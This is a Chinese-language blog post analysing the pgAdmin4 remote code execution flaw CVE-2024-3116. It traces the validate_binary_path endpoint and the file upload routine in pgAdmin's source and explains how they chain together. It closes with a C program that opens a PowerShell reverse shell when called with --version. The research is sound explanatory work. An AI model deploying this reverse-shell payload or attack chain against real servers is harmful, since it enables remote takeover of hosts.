CVE-2024-3116 PgAdmin8.4代码执行漏洞

前言

在有闲情的时候，看了一下最近的CVE，看到了pgAdmin4在8.4版本之前存在着一个远程代码执行漏洞，因为pgAdmin4在github是开源的，网上也没有看到分析文章，于是就把源码下载了下来，根据漏洞的描述大致的分析了一下代码的触发原因。

关于PgAdmin

pgAdmin4根据网上的资料说，是免费开源的管理PostgreSQL的数据库管理工具，应该就是类似于phpMyAdmin那个样子，提供一个Web网页端的界面，能够通过图形化的界面来操作PostgreSQL数据库，比如说点击一些创建、删除、修改、查询等按钮能够执行相应的功能，为操作PostgreSQL数据库更加的人性化，从源码上来看pgAdmin是以Python Django框架开发的，所以整个源码读起来并没有很困难。

笔者并没有接触过这个系统，所以下文从代码层面简单看看漏洞的成因。

从官方描述中找到的pgAdmin的界面图：

pgAdmin4

漏洞分析

根据阿里云漏洞库的描述：当pgAdmin4 运行在Window平台时，攻击者在登陆后可利用validate_binary_path接口构造恶意请求造成远程代码执行，这里特意标明了系统的漏洞平台是Window平台，这是我看到漏洞描述的时候比较疑惑而且注重的一个点。

根据漏洞的产生接口validate_binary_path找到了所属的方法代码：

@blueprint.route("/validate_binary_path",
                 endpoint="validate_binary_path",
                 methods=["POST"])
@login_required
def validate_binary_path():
    data = None
    if hasattr(request.data, 'decode'):
        data = request.data.decode('utf-8')
    if data != '':
        data = json.loads(data)

    version_str = ''
    if 'utility_path' in data and data['utility_path'] is not None:
        binary_versions = get_binary_path_versions(data['utility_path'])
        for utility, version in binary_versions.items():
            if version is None:
                version_str += "<b>" + utility + ":</b> " + \
                               "not found on the specified binary path.<br/>"
            else:
                version_str += "<b>" + utility + ":</b> " + version + "<br/>"
    else:
        return precondition_required(gettext('Invalid binary path.'))

    return make_json_response(data=gettext(version_str), status=200)

代码从request请求中获取POST方法中传输的数据，当获取到的不为空，则通过JSON的形式解析，也就是这里传输JSON数据的接口，如果utility_path存在JSON键中，则调用了get_binary_path_versions方法解析成binary_versions字典，随后循环遍历binary_versions，产生一个响应的字符串version_str，通过make_json_response将version_str返回到浏览器中。

在上面的路径处理的主要方法并没有看到与命令执行有关的东西，所以转向了它调用的方法，这里除了调用make_json_response统一的返回响应方法，就只调用了get_binary_path_versions，看看这个方法。

UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql'] #在constants文件当中
def get_binary_path_versions(binary_path: str) -> dict:
    ret = {}
    binary_path = os.path.abspath(
        replace_binary_path(binary_path)
    )

    for utility in UTILITIES_ARRAY:
        ret[utility] = None
        full_path = os.path.join(binary_path,
                                 (utility if os.name != 'nt' else
                                  (utility + '.exe')))
        try:
            if not os.path.isdir(binary_path):
                current_app.logger.warning('Invalid binary path.')
                raise Exception()
            cmd = subprocess.run(
                [full_path, '--version'],
                shell=False,
                capture_output=True,
                text=True
            )
            if cmd.returncode == 0:
                ret[utility] = cmd.stdout.split(") ", 1)[1].strip()
            else:
                raise Exception()
        except Exception as _:
            continue

    return ret


def replace_binary_path(binary_path):
    if "$DIR" in binary_path:
        # When running as an WSGI application, we will not find the
        # '__file__' attribute for the '__main__' module.
        main_module_file = getattr(
            sys.modules['__main__'], '__file__', None
        )

        if main_module_file is not None:
            binary_path = binary_path.replace(
                "$DIR", os.path.dirname(main_module_file)
            )

    return binary_path

这个方法的代码接收utility_path路径的值，随后获取传入值的绝对路径，replace_binary_path用于处理替换$DIR为正确的路径，随后就进入了for循环遍历UTILITIES_ARRAY，将绝对路径与循环得到的值拼接，如果是Windows系统则会添加上.exe，随后判断路径是否存在，存在则调用subprocess.run执行文件，输出版本号。也就是这个方法的本意在于调用pg_dump,psql或pg_dump.exe等命令输出版本号。

这里存在着命令执行的条件就是subprocess.run()，绝对路径full_path的值也是我们可控的，如果存在类似于文件上传的点使得执行的程序可控，那么就可以进行远程命令执行，而在pgAdmin4中也确实存在这样的功能。

方法对应的代码如下：

@blueprint.route(
    "/filemanager/<int:trans_id>/",
    methods=["POST"], endpoint='filemanager'
)
@login_required
def file_manager(trans_id):
    mode = ''
    kwargs = {}
    if req.method == 'POST':
        if req.files:
            mode = 'add'
            kwargs = {'req': req,
                      'storage_folder': req.form.get('storage_folder', None)}
        else:
            kwargs = json.loads(req.data)
            kwargs['req'] = req
            mode = kwargs['mode']
            del kwargs['mode']
    elif req.method == 'GET':
        kwargs = {
            'path': req.args['path'],
            'name': req.args['name'] if 'name' in req.args else ''
        }
        mode = req.args['mode']
    ss = kwargs['storage_folder'] if 'storage_folder' in kwargs else None
    my_fm = Filemanager(trans_id, ss)

    if ss and mode in ['upload', 'rename', 'delete', 'addfolder', 'add',
                       'permission']:
        my_fm.check_access(ss)
    func = getattr(my_fm, mode)
    try:
        if mode in ['getfolder', 'download']:
            kwargs.pop('name', None)

        if mode in ['add']:
            kwargs.pop('storage_folder', None)

        if mode in ['addfolder', 'getfolder', 'rename', 'delete',
                    'is_file_exist', 'req', 'permission', 'download']:
            kwargs.pop('req', None)
            kwargs.pop('storage_folder', None)

        res = func(**kwargs)
    except PermissionError as e:
        return unauthorized(str(e))

    if isinsta nce(res, Response):
        return res
    return make_json_response(data={'result': res, 'status': True})

方法通过请求的方式确实要执行的模式，如果是POST请求，则执行的模式是add，随后创建了Filemanager类，通过check_access方法判断权限问题，随后通过getattr获取到对应的add方法，通过func(**kwargs)的形式调用add方法完成文件上传。

add的方法如下，通过获取newfile参数的内容和名称，将filename名称和共享路径进行拼接，随后读取文件流，写入到文件中，完成文件上传的功能，最后以JSON的形式返回路径的值和新的名称：

def add(self, req=None):
        if not self.validate_request('upload'):
            return unauthorized(self.ERROR_NOT_ALLOWED['Error'])
        if self.shared_dir:
            the_dir = self.shared_dir
        else:
            the_dir = self.dir if self.dir is not None else ''
        try:
            path = req.form.get('currentpath')

            file_obj = req.files['newfile']
            file_name = file_obj.filename
            orig_path = "{0}{1}".format(the_dir, path)
            new_name = "{0}{1}".format(orig_path, file_name)
            try:
                if config.SERVER_MODE:
                    pathlib.Path(
                        os.path.abspath(
                            os.path.join(the_dir, new_name)
                        )
                    ).relative_to(the_dir)
            except ValueError:
                return unauthorized(self.ERROR_NOT_ALLOWED['Error'])
            with open(new_name, 'wb') as f:
                while True:
                    data = file_obj.read(4194304)
                    if not data:
                        break
                    f.write(data)
        except OSError as e:
            return internal_server_error("{0} {1}".format(
                gettext('There was an error adding the file:'), e.strerror))

        Filemanager.check_access_permission(the_dir, path)

        return {
            'Path': path,
            'Name': new_name,
        }

也就说以上的条件是满足的，以文件上传控制执行的文件+full_path控制路径的形式达到RCE的效果。那么为什么仅限于Windows系统呢，这个其实我也并不是很清楚，我个人认为是因为Windows系统相对于Linux系统的文件权限并没有那么严格，所以当你上传一个exe文件的时候，不需要赋予执行的权限就可以直接执行，而linux系统需要通过chmod +x的形式赋予执行权限才能够执行导致漏洞利用失败导致的，

因此，通过编译成恶意的exe的形式，上传到pgAdmin4中并控制路径执行，即可达到RCE的效果，比如将以下脚本编译成exe即可反弹shell，脚本参考自TechieNeurons师傅。这里需要注意的是filename的值并不是任意的，因为UTILITIES_ARRAY的限制控制了最终的执行文件的命名，所以filename的值只能是UTILITIES_ARRAY中的一个。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
    if (argc > 1 && strcmp(argv[1], "--version") == 0) {
        system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('ip',port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
    } else {
        printf("Usage: %s --version\n", argv[0]);
    }
    return 0;
}